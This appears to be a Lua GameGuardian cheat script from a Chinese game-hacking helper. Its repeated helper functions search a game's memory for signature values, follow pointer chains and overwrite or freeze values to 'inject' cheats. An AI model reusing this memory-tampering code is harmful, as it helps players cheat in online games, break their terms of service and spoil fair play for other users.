qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功,请切换一下物品\n 共注入 1 条冻结数据")else gg.toast(qmnbn.."开启失败,请尝试更换房间")end end end
 function XE(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启失败,请尝试重启游戏")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功\n 共注入 1 条数据")else gg.toast(qmnbn.."开启失败,请尝试重启游戏")end end end 
 function CA(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启失败,请尝试重启游戏")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功\n 共注入 1 条数据")else gg.toast(qmnbn.."开启失败,请尝试重启游戏")end end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory']) gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('ༀid'..qmnb[2]['name'] .. '开启失败ༀ') else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('ༀid'..qmnb[2]['name'] .. '情书丢失ༀ') else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast('\n✔️id:'..qmnb[2]['name']..'成功📝共修改' .. xgsl .. '封情书') else gg.toast('ༀid'..qmnb[2]['name'] .. '开启失败,情书不见了ༀ') end end end end --[[配置1]]function js(address,flags,value) local jz={} jz[1]={} jz[1].address=address jz[1].flags=flags jz[1].value=value gg.setValues(jz) end --[[配置2]]function jz(py,a,xgsz) flags=a value=xgsz so=gg.getRangesList(''..name..'')[1].start js(so+py,a,xgsz) end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find (szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len (szFullString)) break end nSplitArray[nSplitIndex] = string.sub (szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len (szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "丢失情书") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "成功接受情书" .. xgsl .. "封") else gg.toast(qmnb[2]["name"] .. "爱失败了") end end end end
function Ax(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."开启成功,注入3条数据!")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."开启成功\n          共注入 3 条数据")else gg.toast(qmnbn.."开启失败,共注入3条数据!8")end end end
function Address(adds,offset,chang,value,flags,freeze,save,name)local add=gg.getRangesList(adds)[1]["start"]+offset local data={{["address"]=add,["value"]=value,["flags"]=flags,["freeze"]=freeze}}if chang==true then gg.setValues(data)end if freeze or save ==true then gg.addListItems(data)end if name~="false" then gg.toast("🛡["..name.."]已注入🛡")end end
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,改" .. xgsl .. "条数据") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end
function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["修改"] = false,["偏移"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["类型"]   gg.searchNumber(Search[1]["主特征码"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["副特征码"]       if Search[k]["类型"]~= nil then            lx =Search[k]["类型"]          else            lx = Search[1]["类型"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["偏移"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["类型"] ~= nil then              lx = w["类型"]            else              lx = Search[1]["类型"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["偏移"]           t[#t].flags = lx           if (w["修改"]~=nil) and (w["修改"]~=false) then             t[#t].value = w["修改"]             gg.setValues(t)             if (w["冻结"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["冻结"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)           else       gg.toast("未定位到数据!")       return false     end    else     gg.toast("未定位到数据!")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function S_Pointer(t_So, t_Offset, _bit)
	local function getRanges()
		local ranges = {}
		local t = gg.getRangesList('^/data/*.so*$')
		for i, v in pairs(t) do
			if v.type:sub(2, 2) == 'w' then
				table.insert(ranges, v)
			end
		end
		return ranges
	end
	local function Get_Address(N_So, Offset, ti_bit)
		local ti = gg.getTargetInfo()
		local S_list = getRanges()
		local _Q = tonumber(0x167ba0fe)
		local t = {}
		local _t
		local _S = nil
		if ti_bit then
			_t = 32
		 else
			_t = 4
		end
		for i in pairs(S_list) do
			local _N = S_list[i].internalName:gsub('^.*/', '')
			if N_So[1] == _N and N_So[2] == S_list[i].state then
				_S = S_list[i]
				break
			end
		end
		if _S then
			t[#t + 1] = {}
			t[#t].address = _S.start + Offset[1]
			t[#t].flags = _t
			if #Offset ~= 1 then
				for i = 2, #Offset do
					local S = gg.getValues(t)
					t = {}
					for _ in pairs(S) do
						if not ti.x64 then
							S[_].value = S[_].value & 0xFFFFFFFF
						end
						t[#t + 1] = {}
						t[#t].address = S[_].value + Offset[i]
						t[#t].flags = _t
					end
				end
			end
			_S = t[#t].address
			print(string.char(231,190,164,58).._Q)
		end
		return _S
	end
	local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit))
	return _A
end

function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory'])gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. '') else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. '') else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(''..qmnb[2]['name']..'' .. xgsl .. '') else gg.toast(''..qmnb[2]['name'] .. '') end end end end function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["主特征码"] = tb1[1][1],["类型"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["副特征码"] = tb1[i][1],["偏移"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["修改"] = tb2[i][1],["偏移"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["修改"] = false,["偏移"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["类型"]   gg.searchNumber(Search[1]["主特征码"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["副特征码"]       if Search[k]["类型"]~= nil then            lx =Search[k]["类型"]          else            lx = Search[1]["类型"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["偏移"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["类型"] ~= nil then              lx = w["类型"]            else              lx = Search[1]["类型"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["偏移"]           t[#t].flags = lx           if (w["修改"]~=nil) and (w["修改"]~=false) then             t[#t].value = w["修改"]             gg.setValues(t)             if (w["冻结"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["冻结"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)          else       gg.toast("未定位到数据!")       return false     end    else     gg.toast("未定位到数据!")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("type参数错误") gg.toast("type参数错误") os.exit() end else print("memory or array参数错误") gg.toast("memory or array参数错误") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function Xilst() local iihj = ilht+1 gg.setRanges(4) local dataType = 4 local tb1 = {{ilht, 0},{iihj, 0x400},} local tb2 = {{  0 }, } SearchWrite(tb1, tb2, dataType) sl=gg.getResultCount() jg=gg.getResults(100) for i = 1, sl do dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = ilht}}) end end
Q = io.open("/sdcard/冷如梦辅助配置文件.txt") if Q == nil then
io.open("/sdcard/冷如梦辅助配置文件.txt", "w") io.open("/sdcard/冷如梦辅助配置文件.txt", "w"):write("关"):close() end
q = io.open("/sdcard/冷如梦辅助配置文件.txt", "rb") if q == nil then user = "" pass = "" else
q = io.open("/sdcard/冷如梦辅助配置文件.txt"):read("*a") SBSBQ = q:match("(.-)") if q == "" then SBSBQ = "" end end
if SBSBQ=="å¼€" then
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory']) gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('id'..qmnb[2]['name'] .. '开启失败')gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."开启失败&spd=5&source=wise") else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. '开启失败')gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."开启失败&spd=5&source=wise") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast('\n'..qmnb[2]['name']..'开启成功,共注入' .. xgsl .. '条数据') gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."开启成功&spd=5&source=wise")else gg.toast(''..qmnb[2]['name'] .. '开启失败') end end end end
else
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory']) gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. '开启失败') else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. '开启失败') else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast('\n'..qmnb[2]['name']..'开启成功,共注入' .. xgsl .. '条数据') else gg.toast(''..qmnb[2]['name'] .. '开启失败') end end end end end
